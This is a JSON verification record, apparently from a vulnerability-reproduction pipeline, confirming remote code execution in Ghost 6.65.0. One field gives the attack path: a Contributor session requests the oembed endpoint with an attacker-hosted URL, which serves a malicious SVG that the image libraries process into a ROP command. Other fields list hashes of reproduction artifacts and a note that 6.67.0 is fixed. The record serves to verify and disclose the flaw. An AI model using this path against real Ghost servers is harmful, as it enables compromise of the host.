{
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Genuine Contributor session calls GET /ghost/api/admin/oembed/?url=http://attacker-rce:8790/&type=bookmark; Ghost fetches og:image evil.svg and sharp/libvips/librsvg executes an attacker ROP command in the Ghost Node process",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": [
    "ghost:6.65.0 official image",
    "Node 22.23.3 non-PIE",
    "sharp 0.35.3",
    "libvips 8.18.3",
    "librsvg 2.62.90",
    "libxml2 2.15.3",
    "default glibc allocator"
  ],
  "target_identity": {
    "repository_url": "https://github.com/tryghost/ghost",
    "target_digest": "90592b712b6b6502c3169cf12bcb6e5f7b8c8315968b8bb53e08e879892641fa",
    "runtime_digest": "90592b712b6b6502c3169cf12bcb6e5f7b8c8315968b8bb53e08e879892641fa",
    "platform": "linux",
    "architecture": "x86_64"
  },
  "proof_artifacts": [
    "repro/artifacts/rce/contributor-accept-fixed-1.json",
    "repro/artifacts/rce/contributor-accept-fixed-2.json",
    "repro/artifacts/rce/contributor-accept-vuln-1.json",
    "repro/artifacts/rce/contributor-accept-vuln-2.json",
    "repro/artifacts/rce/contributor-identity-fixed-1.json",
    "repro/artifacts/rce/contributor-identity-fixed-2.json",
    "repro/artifacts/rce/contributor-identity-vuln-1.json",
    "repro/artifacts/rce/contributor-identity-vuln-2.json",
    "repro/artifacts/rce/contributor-login-fixed-1.txt",
    "repro/artifacts/rce/contributor-login-fixed-2.txt",
    "repro/artifacts/rce/contributor-login-vuln-1.txt",
    "repro/artifacts/rce/contributor-login-vuln-2.txt",
    "repro/artifacts/rce/invite-fixed-1.json",
    "repro/artifacts/rce/invite-fixed-2.json",
    "repro/artifacts/rce/invite-vuln-1.json",
    "repro/artifacts/rce/invite-vuln-2.json",
    "repro/artifacts/rce/marker-vuln-1.txt",
    "repro/artifacts/rce/marker-vuln-2.txt",
    "repro/artifacts/rce/observation-fixed-1.json",
    "repro/artifacts/rce/observation-fixed-2.json",
    "repro/artifacts/rce/observation-vuln-1.json",
    "repro/artifacts/rce/observation-vuln-2.json",
    "repro/artifacts/rce/oembed-request-fixed-1.txt",
    "repro/artifacts/rce/oembed-request-fixed-2.txt",
    "repro/artifacts/rce/oembed-request-vuln-1.txt",
    "repro/artifacts/rce/oembed-request-vuln-2.txt",
    "repro/artifacts/rce/oembed-response-fixed-1.txt",
    "repro/artifacts/rce/oembed-response-fixed-2.txt",
    "repro/artifacts/rce/oembed-response-vuln-1.txt",
    "repro/artifacts/rce/oembed-response-vuln-2.txt",
    "repro/artifacts/rce/owner-login-fixed-1.txt",
    "repro/artifacts/rce/owner-login-fixed-2.txt",
    "repro/artifacts/rce/owner-login-vuln-1.txt",
    "repro/artifacts/rce/owner-login-vuln-2.txt",
    "repro/artifacts/rce/payload-fixed-1.txt",
    "repro/artifacts/rce/payload-fixed-2.txt",
    "repro/artifacts/rce/payload-vuln-1.txt",
    "repro/artifacts/rce/payload-vuln-2.txt",
    "repro/artifacts/rce/setup-fixed-1.json",
    "repro/artifacts/rce/setup-fixed-2.json",
    "repro/artifacts/rce/setup-vuln-1.json",
    "repro/artifacts/rce/setup-vuln-2.json",
    "repro/artifacts/rce/state-fixed-1.txt",
    "repro/artifacts/rce/state-fixed-2.txt",
    "repro/artifacts/rce/state-vuln-1.txt",
    "repro/artifacts/rce/state-vuln-2.txt",
    "repro/artifacts/rce/versions.txt",
    "logs/attacker-rce.log",
    "logs/smtp-rce.log"
  ],
  "artifact_sha256": {
    "repro/artifacts/rce/contributor-accept-fixed-1.json": "90327646514131f8d63f13b2c83a50d3656c8a8fd6042f5bbab42495e7efd455",
    "repro/artifacts/rce/contributor-accept-fixed-2.json": "90327646514131f8d63f13b2c83a50d3656c8a8fd6042f5bbab42495e7efd455",
    "repro/artifacts/rce/contributor-accept-vuln-1.json": "90327646514131f8d63f13b2c83a50d3656c8a8fd6042f5bbab42495e7efd455",
    "repro/artifacts/rce/contributor-accept-vuln-2.json": "90327646514131f8d63f13b2c83a50d3656c8a8fd6042f5bbab42495e7efd455",
    "repro/artifacts/rce/contributor-identity-fixed-1.json": "039423f405c76824a413f2b1557d1acc4c0ed4224afcd80c814d5a7eba50ee82",
    "repro/artifacts/rce/contributor-identity-fixed-2.json": "489a14e51a1120a1e7be12aa6fb15606eed77efe97383325fc7b3912e604f9b3",
    "repro/artifacts/rce/contributor-identity-vuln-1.json": "184f5ddc3bb79e1bb17e25fa024d40e19424575e6741688472d1943fe6b006ff",
    "repro/artifacts/rce/contributor-identity-vuln-2.json": "2edbedfb07b69c10dc3b44437619dc68b386c203bff1453771333e2585f3c46d",
    "repro/artifacts/rce/contributor-login-fixed-1.txt": "d70b9e24bca26b409b9458ceca6c9e5c2b5c3171c37ff050c6f6a0d7a4420d2a",
    "repro/artifacts/rce/contributor-login-fixed-2.txt": "d70b9e24bca26b409b9458ceca6c9e5c2b5c3171c37ff050c6f6a0d7a4420d2a",
    "repro/artifacts/rce/contributor-login-vuln-1.txt": "d70b9e24bca26b409b9458ceca6c9e5c2b5c3171c37ff050c6f6a0d7a4420d2a",
    "repro/artifacts/rce/contributor-login-vuln-2.txt": "d70b9e24bca26b409b9458ceca6c9e5c2b5c3171c37ff050c6f6a0d7a4420d2a",
    "repro/artifacts/rce/invite-fixed-1.json": "7966b568ccc323bfd6c2cc25a05fb3f537ce43eb988fd481931361c3c3cee26a",
    "repro/artifacts/rce/invite-fixed-2.json": "0f51c3c5e04c023a2bd1a2d1e5aa9bb5c2a5ec1edfab2dfc3c0b397ba200d1b6",
    "repro/artifacts/rce/invite-vuln-1.json": "de038e88bc1d99bc07c7ee6cf0298ff56b10d445aa92e0c578238647ef491f15",
    "repro/artifacts/rce/invite-vuln-2.json": "6058d2cb98adf55d4781b79ae25a8da7b293755f2acdc9e68df7aee56c115716",
    "repro/artifacts/rce/marker-vuln-1.txt": "74f9e13ee30dd347753fd7651f39f3049133d6906c19c1f8b94925cca37292e3",
    "repro/artifacts/rce/marker-vuln-2.txt": "a98881784e396ccd2cc697b16917c5bdf9d2dc0fad949cea781c330f08499024",
    "repro/artifacts/rce/observation-fixed-1.json": "bf08e5485a478ce9858d7657cb6151193d5c487775cd74a3d962de90802654cd",
    "repro/artifacts/rce/observation-fixed-2.json": "1f456bda95f94896a6c0f409ae92958cf6f731bf31c00fd4b96ecdfd427b212c",
    "repro/artifacts/rce/observation-vuln-1.json": "c1b67ed5ddc669dd52432a51d8efa6b265430b3cba8b965c0cc22c4ef03c0187",
    "repro/artifacts/rce/observation-vuln-2.json": "d60535310c628a0715d5a2e2fae725e6280f13ad046e9e6536c0de0930d81e5e",
    "repro/artifacts/rce/oembed-request-fixed-1.txt": "1bab9c7faf3382c23e4126fb664fddee3634e5eee0d13dc6c2ac52e414f8b22c",
    "repro/artifacts/rce/oembed-request-fixed-2.txt": "1bab9c7faf3382c23e4126fb664fddee3634e5eee0d13dc6c2ac52e414f8b22c",
    "repro/artifacts/rce/oembed-request-vuln-1.txt": "d068906d890f5fe18452d6b4b459cca820e3b454a8a0bfbc79ac702e3d53906f",
    "repro/artifacts/rce/oembed-request-vuln-2.txt": "d068906d890f5fe18452d6b4b459cca820e3b454a8a0bfbc79ac702e3d53906f",
    "repro/artifacts/rce/oembed-response-fixed-1.txt": "2a07a76d7b7db80617db2576cb1b1f148e324a08873fb48275c8bcbe8c50c4d8",
    "repro/artifacts/rce/oembed-response-fixed-2.txt": "6a4512195a69d3d51f4e0d74e8548b8a9af67c22e6a133c24750aff747e569fe",
    "repro/artifacts/rce/oembed-response-vuln-1.txt": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
    "repro/artifacts/rce/oembed-response-vuln-2.txt": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
    "repro/artifacts/rce/owner-login-fixed-1.txt": "d70b9e24bca26b409b9458ceca6c9e5c2b5c3171c37ff050c6f6a0d7a4420d2a",
    "repro/artifacts/rce/owner-login-fixed-2.txt": "d70b9e24bca26b409b9458ceca6c9e5c2b5c3171c37ff050c6f6a0d7a4420d2a",
    "repro/artifacts/rce/owner-login-vuln-1.txt": "d70b9e24bca26b409b9458ceca6c9e5c2b5c3171c37ff050c6f6a0d7a4420d2a",
    "repro/artifacts/rce/owner-login-vuln-2.txt": "d70b9e24bca26b409b9458ceca6c9e5c2b5c3171c37ff050c6f6a0d7a4420d2a",
    "repro/artifacts/rce/payload-fixed-1.txt": "b72806cd4bb69dfdf2562ef06c64a49abf9eb461728ca9c222bcebc8c1b30605",
    "repro/artifacts/rce/payload-fixed-2.txt": "8556906cd073e98362c9b09e0605b7fabb240a5497b45442e87a8a84b925d8a0",
    "repro/artifacts/rce/payload-vuln-1.txt": "f4aa6273939baf6eecea9e2aff9d4ae3d948846542d00f50634e01bc58653b4c",
    "repro/artifacts/rce/payload-vuln-2.txt": "ba181b80e69f410c33ba2f0a7fa547f76affa3342f99531ee72e6892bd0658b6",
    "repro/artifacts/rce/setup-fixed-1.json": "3eddeb2e60e78935c93e70fd72e6f3cbd928e6cac56f023c2e400fe780a498c1",
    "repro/artifacts/rce/setup-fixed-2.json": "7542cd35d5ccfdfbede512eb8abfd9cdb560f14b097e2539dfd1ccfeead52df6",
    "repro/artifacts/rce/setup-vuln-1.json": "f728157f09b291b84fc7ca7a6df817353151a4bce587c7dcf448fab42adddd6e",
    "repro/artifacts/rce/setup-vuln-2.json": "6ee5f5e927bdde32cd4988dfc0fa93a76557703f844b227e0c47f35d62b2e544",
    "repro/artifacts/rce/state-fixed-1.txt": "6ecf55cdf5d6ef3a505a61e82456bbb0eb493ad68c68f1abf6c0e98f6b5ba6fa",
    "repro/artifacts/rce/state-fixed-2.txt": "4b682995bb2452e1e76c617b1a14373ed2ce9445eabc14e54bb2e5fbdc327509",
    "repro/artifacts/rce/state-vuln-1.txt": "843de84f9415245f39e49c9bd6e4b3a388774ad8161198e6fbe38bf96919e627",
    "repro/artifacts/rce/state-vuln-2.txt": "a5248cee8a3eab4cfe7d80f9c25277601424cd2fb30ce4191ba73ef0fc6e5265",
    "repro/artifacts/rce/versions.txt": "e64ae07dba509e36d52234c017178dcac99eebd406abb1e06590606becae15b3",
    "logs/attacker-rce.log": "2f7ddc64d746ca5022a38ad152eeb6b519cef77c740b5f9a1dc417ebd33ebc4f",
    "logs/smtp-rce.log": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
  },
  "notes": "Confirmed code execution twice under the default allocator with unique target-local markers from genuine Contributor sessions. ghost:6.67.0 reached the same endpoint twice, created no markers, returned normally, and stayed running."
}